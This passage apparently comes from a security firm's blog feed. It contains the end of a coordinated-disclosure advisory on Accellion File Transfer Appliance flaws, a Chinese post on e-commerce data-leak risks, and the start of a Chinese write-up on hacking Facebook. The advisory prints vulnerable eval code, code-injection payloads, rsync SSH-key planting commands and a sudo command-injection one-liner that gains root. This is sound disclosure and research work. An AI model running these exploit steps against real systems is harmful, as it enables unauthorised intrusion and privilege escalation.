data-lang="php"><span class="nv">$func_call</span> <span class="o">=</span> <span class="nf">decrypt</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'fc'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$orig_func</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span> <span class="s1">'/(.+)\(.*\)/'</span><span class="p">,</span> <span class="nv">$func_call</span><span class="p">,</span> <span class="nv">$func_match</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$orig_func</span> <span class="o">=</span> <span class="nv">$func_call</span><span class="p">;</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="nv">$func_match</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="p">}</span> <span class="nv">$cs_method</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s1">'delete_session_cache'</span><span class="p">,</span> <span class="s1">'delete_user_contact'</span><span class="p">,</span> <span class="s1">'valid_password'</span><span class="p">,</span> <span class="s1">'user_password_update_disallowed'</span><span class="p">,</span> <span class="s1">'user_password_format_disallowed'</span><span class="p">,</span> <span class="s1">'get_user_contact_list'</span><span class="p">,</span> <span class="s1">'user_email_verified'</span><span class="p">,</span> <span class="s1">'user_exist_allow_direct_download'</span><span class="p">,</span> <span class="s1">'user_profile_auth'</span> <span class="p">);</span> <span class="k">if</span> <span class="p">((</span> <span class="o">!</span><span class="nv">$func_call</span> <span class="o">||</span> <span class="o">!</span><span class="nb">in_array</span><span class="p">(</span> <span class="nv">$func_call</span><span class="p">,</span> <span class="nv">$cs_method</span> <span class="p">)</span> <span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$orig_func</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="nv">$orig_func</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$func_call</span> <span class="o">==</span> <span class="s1">'get_user_contact_list'</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$_csinfo</span><span class="p">[</span><span class="s1">'user_id'</span><span class="p">])</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span> <span class="s1">'/[\\\/"\*\:\?\&lt;\&gt;\|&amp;]/'</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span> <span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="s1">'echo(count('</span> <span class="mf">.</span> <span class="nv">$func_call</span> <span class="mf">.</span> <span class="s1">'("'</span> <span class="mf">.</span> <span class="nv">$_csinfo</span><span class="p">[</span><span class="s1">'user_id'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'", array("nickname"=&gt;"'</span> <span class="mf">.</span> <span class="nb">addslashes</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span> <span class="p">)</span> <span class="mf">.</span> <span class="s1">'"))));'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'p1'</span><span class="p">]</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$func_param</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="p">);</span> <span class="nv">$p_no</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="k">while</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'p'</span> <span class="mf">.</span> <span class="nv">$p_no</span><span class="p">]</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$func_param</span><span class="p">[]</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span> <span class="s1">'\''</span><span class="p">,</span> <span class="s1">'\\\''</span><span class="p">,</span> <span class="nb">str_replace</span><span class="p">(</span> <span class="s1">'$'</span><span class="p">,</span> <span class="s1">'\\$'</span><span class="p">,</span> <span class="nb">addslashes</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'p'</span> <span class="mf">.</span> <span class="nv">$p_no</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">);</span> <span class="o">++</span><span class="nv">$p_no</span><span class="p">;</span> <span class="p">}</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="s1">'echo('</span> <span class="mf">.</span> <span class="nv">$func_call</span> <span class="mf">.</span> <span class="s1">'("'</span> <span class="mf">.</span> <span class="nb">join</span><span class="p">(</span> <span class="s1">'", "'</span><span class="p">,</span> <span class="nv">$func_param</span> <span class="p">)</span> <span class="mf">.</span> <span class="s1">'"));'</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">echo</span> <span class="o">@</span><span class="k">eval</span><span class="p">(</span> <span class="nv">$func_call</span> <span class="p">);</span></code></pre></figure> <p>If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.<br /> Therefore, the only restriction for injecting random codes in the parameters is to exclude <code class="language-plaintext highlighter-rouge">(</code> <code class="language-plaintext highlighter-rouge">)</code> in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.</p> <p><br /> Execute system commands directly by using backticks (`)</p> <blockquote> <p>user_profile_auth(`$_POST[cmd]`); <br /></p> </blockquote> <p>A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.</p> <blockquote> <p>user_profile_auth(include $_FILES[file][tmp_name]);</p> </blockquote> <p><br /></p> <h4 id="local-privilege-escalation-cve-2016-2352-and-cve-2016-2353">Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)</h4> <p>After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.</p> <h5 id="1-incorrect-rsync-configuration">1. Incorrect Rsync Configuration</h5> <div class="highlight-name">/etc/opt/rsyncd.conf</div> <figure class="highlight"><pre><code class="language-lighttpd" data-lang="lighttpd">log file = /home/soggycat/log/kennel.log ... [soggycat] path = /home/soggycat uid = soggycat read only = false list = false ...</code></pre></figure> <p>The module name soggycat is readable and writable to anyone for the directory <code class="language-plaintext highlighter-rouge">/home/soggycat/</code>, therefore the SSH Key can be written into <code class="language-plaintext highlighter-rouge">/home/soggycat/.ssh/</code> and then use the soggycat credential to login.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">bash-3.2<span class="nv">$ </span><span class="nb">id </span><span class="nv">uid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> bash-3.2<span class="nv">$ </span>rsync 0::soggycat/.ssh/ drwx------ 4096 2016/01/29 18:13:41 <span class="nb">.</span> <span class="nt">-rw-r--r--</span> 606 2016/01/29 18:13:41 authorized_keys bash-3.2<span class="nv">$ </span>rsync 0::soggycat/.ssh/authorized_keys <span class="nb">.</span> bash-3.2<span class="nv">$ </span><span class="nb">cat </span>id_dsa.pub <span class="o">&gt;&gt;</span> authorized_keys bash-3.2<span class="nv">$ </span>rsync authorized_keys 0::soggycat/.ssh/ bash-3.2<span class="nv">$ </span>ssh <span class="nt">-i</span> id_dsa <span class="nt">-o</span> <span class="nv">UserKnownHostsFile</span><span class="o">=</span>/dev/null <span class="nt">-o</span> <span class="nv">StrictHostKeyChecking</span><span class="o">=</span>no soggycat@localhost <span class="nb">id </span>Could not create directory <span class="s1">'/.ssh'</span><span class="nb">.</span> Warning: Permanently added <span class="s1">'0,0.0.0.0'</span> <span class="o">(</span>RSA<span class="o">)</span> to the list of known hosts. <span class="nv">uid</span><span class="o">=</span>520<span class="o">(</span>soggycat<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span></code></pre></figure> <p><br /></p> <h5 id="2-command-injection-in-yum-clientpl">2. Command Injection in “yum-client.pl”</h5> <p>To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program <code class="language-plaintext highlighter-rouge">yum-client.pl</code>.</p> <div class="highlight-name">/etc/sudoers</div> <figure class="highlight"><pre><code class="language-apache" data-lang="apache"><span class="err">...</span> Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl <span class="err">...</span> <span class="c"># User privilege specification</span> root ALL=(ALL) <span class="ss">ALL</span> admin <span class="ss">ALL</span> =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ... nobody <span class="ss">ALL</span> =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT soggycat <span class="ss">ALL</span> =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT radmin <span class="ss">ALL</span> =NOPASSWD: RESET_APPL <span class="err">...</span></code></pre></figure> <p><br /></p> <p><code class="language-plaintext highlighter-rouge">YUM_CLIENT</code> is the command for proceeding updates. Part of the codes are as follows:</p> <div class="highlight-name">/usr/local/bin/yum-client.pl</div> <figure class="highlight"><pre><code class="language-perl" data-lang="perl"><span class="o">...</span> <span class="nv">GetOptions</span> <span class="p">(</span> <span class="p">'</span><span class="s1">help</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$help</span><span class="p">,</span> <span class="p">'</span><span class="s1">download_only</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$download_only</span><span class="p">,</span> <span class="p">'</span><span class="s1">list</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$list</span><span class="p">,</span> <span class="p">'</span><span class="s1">cache</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$cache</span><span class="p">,</span> <span class="p">'</span><span class="s1">clearcache</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$clearcache</span><span class="p">,</span> <span class="p">'</span><span class="s1">cdrom=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$cdrom</span><span class="p">,</span> <span class="p">'</span><span class="s1">appid=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$appid</span><span class="p">,</span> <span class="p">'</span><span class="s1">servername=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$servername</span><span class="p">,</span> <span class="p">'</span><span class="s1">version=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$version</span><span class="p">,</span> <span class="p">'</span><span class="s1">token=s</span><span class="p">'</span> <span class="o">=&gt;</span> <span class="o">\</span><span class="nv">$token</span><span class="p">);</span> <span class="k">my</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/usr/bin/yum</span><span class="p">";</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$cache</span><span class="p">){</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="si">$YUM_CMD</span><span class="s2"> -C</span><span class="p">";</span> <span class="p">}</span> <span class="c1"># if this is based on RHEL 5, change the repository</span> <span class="k">my</span> <span class="nv">$OS</span> <span class="o">=</span> <span class="p">`</span><span class="sb">grep -q 5 /etc/redhat-release &amp;&amp; echo -n 5</span><span class="p">`;</span> <span class="k">my</span> <span class="nv">$LOGFILE</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/home/seos/log/yum-client.log</span><span class="p">";</span> <span class="k">my</span> <span class="nv">$STATUSFILE</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/home/seos/log/yum-client.status</span><span class="p">";</span> <span class="k">my</span> <span class="nv">$YUMCONFIG</span> <span class="o">=</span> <span class="p">"</span><span class="s2">/etc/yum.conf</span><span class="p">";</span> <span class="k">my</span> <span class="nv">$YUMDIFF_FILE</span> <span class="o">=</span> <span class="p">'</span><span class="s1">/home/seos/log/yum.diff</span><span class="p">';</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$cdrom</span><span class="p">){</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$OS</span> <span class="ow">eq</span> <span class="p">"</span><span class="s2">5</span><span class="p">"){</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="si">$YUM_CMD</span><span class="s2"> -c </span><span class="si">$cdrom_path</span><span class="s2">/yum.conf-5</span><span class="p">";</span> <span class="p">}</span><span class="k">else</span><span class="p">{</span> <span class="nv">$YUM_CMD</span> <span class="o">=</span> <span class="p">"</span><span class="si">$YUM_CMD</span><span class="s2"> -c </span><span class="si">$cdrom_path</span><span class="s2">/yum.conf</span><span class="p">";</span> <span class="p">}</span> <span class="nb">system</span><span class="p">("</span><span class="s2">mkdir -p /mnt/cdrom &amp;&amp; mount -o loop </span><span class="si">$cdrom</span><span class="s2"> </span><span class="si">$cdrom_path</span><span class="p">")</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">or</span> <span class="nv">fdielog</span><span class="p">(</span><span class="nv">$LOGFILE</span><span class="p">,"</span><span class="s2">unable to mount: $!</span><span class="p">");</span> <span class="p">}</span></code></pre></figure> <p>After taking a closer look on <code class="language-plaintext highlighter-rouge">ymm-client.pl</code>, a Command Injection vulnerability was found on the parameter <code class="language-plaintext highlighter-rouge">--cdrom</code>. This vulnerability enables attackers to inject any commands into the parameter and execute as root.</p> <p>Thus, using the commands below</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">bash-3.2<span class="nv">$ </span><span class="nb">id </span><span class="nv">uid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> bash-3.2<span class="nv">$ </span><span class="nb">sudo</span> /usr/local/bin/yum-client.pl <span class="nt">--cdrom</span><span class="o">=</span><span class="s1">'$(id &gt; /tmp/.gg)'</span> mount: can<span class="s1">'t find /mnt/cdrom in /etc/fstab or /etc/mtab unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113. bash-3.2$ cat /tmp/.gg uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)</span></code></pre></figure> <p>will grant execution freely as root!<br /> <br /></p> <h3 id="backdoor">Backdoor</h3> <p><br /> After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s <a href="http://www.niara.com/docs/ta-accellion-fta-cve-2015-2857.pdf">Accellion File Transfer Appliance Vulnerability</a>.<br /> Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.</p> <p>One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in</p> <blockquote> <p>https://&lt;fta&gt;/courier/themes/templates/Redirector_Cache.php</p> </blockquote> <p>The other is WSO, found on 9 of the online hosts globally, placed in</p> <blockquote> <p>https://&lt;fta&gt;/courier/themes/templates/imag.php</p> </blockquote> <p><br /></p> <h3 id="acknowledgement">Acknowledgement</h3> <p><br /> The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “<a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">How I Hacked Facebook, and Found Someone’s Backdoor Script</a>”.<br /> Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.<br /> <br /></p> <h3 id="timeline">Timeline</h3> <ul> <li>Feb 6, 2016 05:21 Contact Accellion for vulnerability report</li> <li>Feb 7, 2016 12:35 Send the report to Accellion Support Team</li> <li>Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40</li> <li>May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion</li> <li>Jun 6, 2016 10:20 Advisory finalized by mutual consent</li> </ul> <h3 id="references">References</h3> <ul> <li><a href="https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857">R7-2015-08: Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)</a> <a name="ref1"></a></li> <li><a href="https://www.rapid7.com/resources/advisories/R7-0039.jsp">Rapid7 Advisory R7-0039: Accellion File Transfer Appliance Multiple Vulnerabilities</a> <a name="ref2"></a></li> <li><a href="http://www.niara.com/docs/ta-accellion-fta-cve-2015-2857.pdf">Threat Advisory: Accellion File Transfer Appliance Vulnerability</a> <a name="ref3"></a></li> </ul> https://devco.re/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability-eng-ver/ https://devco.re/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability-eng-ver Thu, 22 Sep 2016 00:00:00 +0800 電商業者的資安困境? <p>台灣電商網站蓬勃發展,豐富的個資、金流都吸引了攻擊者。近期刑事局 165 反詐騙網站上常看到很多電商網站面臨個資外洩的問題,新聞也不斷報導民眾因為個資外洩被詐騙集團騙取錢財。資安問題是電商業者面臨到最大的危機,民眾也很憤怒為什麼這些企業都不肯把資安做好。但我相信,電商網站的業主也是有苦難言。不少企業知道該把資安做好,有些可能不得其法,也可能什麼都做了,卻還是無法防止自己的網站出現在 165 詐騙排行的榜單上。</p> <ul> <li>內政部警政署 165 反詐騙諮詢專線 民眾通報高風險賣場排名 <a href="http://165.gov.tw/loss_rank.aspx">http://165.gov.tw/loss_rank.aspx</a></li> </ul> <p>對於無心於資安的業者來說,被揭露這樣的資訊會有一定程度的力量迫使他們把資安做好。但對於已經顧全資安的業者來說,則是摸不著頭緒到底個資從哪邊外洩的。今天我們就來談談,到底電商網站的資安問題是什麼,民眾的個資又是怎麼外洩的。</p> <!-- more --> <h3 id="電商網站的困境">電商網站的困境</h3> <p>目前電商網站常見的困境有幾點:</p> <ol> <li>自行開發網站存在漏洞</li> <li>委外開發網站存在漏洞,但承包商不處理</li> <li>內部員工電腦遭入侵外洩個資</li> <li>配合廠商個資外洩,如金流商、物流商</li> <li>攻擊者用已外洩帳號密碼登入電商網站</li> <li>買家在詐騙集團的賣場交易</li> </ol> <p>黑色產業的發展比大家想像中都還要盛行,若企業對攻擊者來說有利可圖,駭客組織會不擇手段入侵取得資料。因此對網站本身、網站周遭系統、企業內部員工、或者以社交工程手法,只要能取得資料都會是他們下手的目標。</p> <h4 id="自行開發網站存在漏洞">自行開發網站存在漏洞</h4> <p>這是目前企業最需要先解決的問題。若網站本身資安體質不好,則會輕易被攻擊者入侵。資安問題往往都是企業內部最難解的問題,道高一尺魔高一丈,若沒有經過完整的<a href="https://devco.re/services/penetration-test/">滲透測試</a>,則難以找出問題的根源。找到了問題之後,開發人員的教育訓練、資安機制、資安設備,都會是企業接下來要面對的課題。</p> <p>解決方案:滲透測試、資安顧問、教育訓練</p> <p><img src="/assets/img/blog/20160729/the_security_dilemma_of_e-commerce_1.png" alt="" /></p> <h4 id="委外開發網站存在漏洞但承包商不處理">委外開發網站存在漏洞,但承包商不處理</h4> <p>不少企業沒有自己開發網站,而是發包給外部廠商開發、維運。承包商的品質通常難以掌控,價格戰的業界生態,更讓開發的品質難以提升。但業者最頭大的是:承包商拒絕處理漏洞。若沒有在一開始的委外合約就明訂資安維護標準,在日後發生資安事件時則難以要求承包商修補漏洞。因此建議業者在日後的委外開發案,明訂資安標準、驗收時檢附第三方滲透測試報告,並且將日後資安維護合約獨立於一般維護約之外,強制執行。</p> <p>解決方案:選商標準、開標規格、驗收標準、資安維護合約</p> <h4 id="內部員工電腦遭入侵外洩個資">內部員工電腦遭入侵外洩個資</h4> <p>除了伺服器之外,客戶端也是攻擊者下手的目標。當網站難以被入侵,攻擊者就會轉往員工電腦下手。透過社交工程、搭配惡意郵件等 APT 攻擊,入侵個人電腦後取得消費者個資,甚至做為跳板滲透企業內部擴大攻擊成果。若沒有足夠的資安意識,員工將會是企業最大的資安缺口。</p> <p>解決方案:強化資安思維、權限最小化、APT 防禦</p> <p><img src="/assets/img/blog/20160729/the_security_dilemma_of_e-commerce_2.png" alt="" /></p> <h4 id="配合廠商個資外洩如金流商物流商">配合廠商個資外洩,如金流商、物流商</h4> <p>當企業裡裡外外都防禦好了,個資還在外洩,到底發生什麼事情了呢?別忘了一個電商網站有各種與外界橋接的服務,例如交易的金流、運輸的物流。若搭配的外部系統遭到入侵,個資一樣會被取得。但民眾、媒體只會覺得「我在這家電商平台買東西被詐騙」,而怪罪到企業本身。企業有責任要求配合的廠商一同將資安、個資把關好。</p> <p>解決方案:配合廠商的資安規範、滲透測試</p> <p><img src="/assets/img/blog/20160729/the_security_dilemma_of_e-commerce_3.png" alt="" /></p> <h4 id="攻擊者用已外洩帳號密碼登入電商網站">攻擊者用已外洩帳號密碼登入電商網站</h4> <p>資安的責任並不僅在企業,有的時候消費者本身帳號的安全也會影響到電商網站的清譽。目前民眾只要接收到詐騙電話,直覺都會是在某個店家的交易被駭,被取得資料後販售給詐騙集團,因而回報給 165 等反詐騙專線。這種案例也會算在電商網站的帳上,但卻不一定是電商網站的問題。這樣的攻擊手法也俗稱「撞庫」。</p> <p>解決方案:企業間的聯防、提供使用者帳號保護</p> <p><img src="/assets/img/blog/20160729/the_security_dilemma_of_e-commerce_4.png" alt="" /></p> <h4 id="買家在詐騙集團的賣場交易">買家在詐騙集團的賣場交易</h4> <p>只要有利可圖,詐騙集團就會無所不用其極的想獲取利益。當系統已經達成基本的安全、使用者外洩的帳號也已經無法利用之後,詐騙集團將再攻擊人性的漏洞,開設販賣熱門商品的賣場,吸引無辜的受害者購買。或者在賣場的留言區塊假冒賣家,留下自己的 LINE 與消費者溝通,進行詐騙。</p> <p>解決方案:消費者安全宣導</p> <h3 id="電商業者該如何自保">電商業者該如何自保?</h3> <p>只要有利益的地方,就會有資安危機。雖說道高一尺魔高一丈,但業者並非只能等著被宰。經營網站最重要的就是保護顧客的資料,明白風險的所在。盤點手上的個資位置、機制、措施,謹慎安排資安規劃,確保將安全的風險降到最低。更進一步也可以建立與資安人員良好的關係,公開漏洞通報管道及獎勵機制,鼓勵資安人員優先通報漏洞給企業,避免流入黑色產業。當然,身為消費者的我們,也應該給予負責的企業掌聲。</p> <p>在未來我們的文章將提到企業應該採取的具體作為,敬請期待!</p> https://devco.re/blog/2016/07/29/the_security_dilemma_of_e-commerce/ https://devco.re/blog/2016/07/29/the_security_dilemma_of_e-commerce Fri, 29 Jul 2016 00:00:00 +0800 滲透 Facebook 的思路與發現 <p>by <a href="http://blog.orange.tw/">Orange Tsai</a></p> <p><a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">How I Hacked Facebook, and Found Someone’s Backdoor Script</a> (English Version)<br /> <a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/">滲透 Facebook 的思路與發現</a> (中文版本)</p> <hr /> <h3 id="寫在故事之前">寫在故事之前</h3> <p>身為一位滲透測試人員,比起 Client Side 的弱點我更喜歡 Server Side 的攻擊,能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 &lt;( ̄︶ ̄)&gt;</p> <p>當然一次完美的滲透任何形式的弱點都不可小覷,在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器,但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。</p> <p>隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 <a href="https://www.facebook.com/whitehat/">Bug Bounty</a> 獎金獵人的機制讓我更躍躍欲試。</p> <!-- more --> <p>一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 “範圍” 有多大,姑且可以評估一下從何處比較有機會下手。例如:</p> <ul> <li>Google Hacking 到什麼資料?</li> <li>用了幾個 B 段的 IP ? C 段的 IP ?</li> <li>Whois? Reverse Whois?</li> <li>用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描</li> <li>公司平常愛用什麼樣技術、設備?</li> <li>在 Github, Pastebin 上是否有洩漏什麼資訊?</li> <li>…etc</li> </ul> <p>當然 Bug Bounty 並不是讓你無限制的攻擊,將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。</p> <p>一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討</p> <ol> <li>對多數大公司而言,”<strong>網路邊界</strong>” 是比較難顧及、容易出現問題的一塊,當公司規模越大,同時擁有數千、數萬台機器在線,網管很難顧及到每台機器。在攻防裡,防守要防的是一個面,但攻擊只需找個一個點就可以突破,所以防守方相對處於弱勢,攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!</li> <li>對於 “<strong>連網設備</strong>” 的安全意識相對薄弱,由於連網設備通常不會提供 SHELL 給管理員做進一步的操作,只能由設備本身所提供的介面設定,所以通常對於設備的防禦都是從網路層來抵擋,但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。</li> <li>人的安全,隨著 “<strong>社工庫</strong>” 的崛起,有時可以讓一次滲透的流程變得異常簡單,從公開資料找出公司員工列表,再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透,尤其當社工庫數量越來越多 “<strong>量變成質變</strong>” 時只要關鍵人物的密碼在社工庫中可找到,那企業的安全性就全然突破 :P <br /></li> </ol> <p>理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行,在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tfbnw.net </code></pre></div></div> <p>TFBNW 似乎是 “<strong>TheFacebook Network</strong>” 的縮寫<br /> 再藉由公開資料發現存在下面這台這台伺服器</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vpn.tfbnw.net </code></pre></div></div> <p>哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面,不過版本滿新的沒有直接可利用的弱點,不過這也成為了進入後面故事的開端。</p> <p>TFBNW 看似是 Facebook 內部用的域名,來掃掃 vpn.tfbnw.net 同網段看會有什麼發現</p> <ul> <li>Mail Server Outlook Web App</li> <li>F5 BIGIP SSL VPN</li> <li>CISCO ASA SSL VPN</li> <li>Oracle E-Business</li> <li>MobileIron MDM</li> </ul> <p>從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段,之後一切的故事就從這裡開始。</p> <hr /> <h3 id="弱點發現">弱點發現</h3> <p>在同網段中,發現一台特別的伺服器</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>files.fb.com </code></pre></div></div> <p><img src="/assets/img/blog/20160421/1.jpg" alt="files.fb.com" /> <em>↑ files.fb.com 登入介面</em></p> <p><br /></p> <p>從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)</p> <p>FTA 為一款標榜安全檔案傳輸的產品,可讓使用者線上分享、同步檔案,並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制,Enterprise 版本更支援 SSL VPN 服務。</p> <p>首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用,Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory</p> <ul> <li><a href="https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857">Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)</a></li> </ul> <p>弱點中可直接從 “<strong>/tws/getStatus</strong>” 中洩漏的版本資訊判斷是否可利用,在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了,不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的,所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!</p> <p>不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試,透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!</p> <p>整個 FTA 產品大致架構</p> <ol> <li>網頁端介面主要由 Perl 以及 PHP 構成</li> <li>PHP 原始碼皆經過 IonCube 加密</li> <li>在背景跑了許多 Perl 的 Daemon</li> </ol> <p>首先是解密 IonCude 的部分,許多設備為了防止自己的產品被檢視所以會將原始碼加密,不過好在 FTA 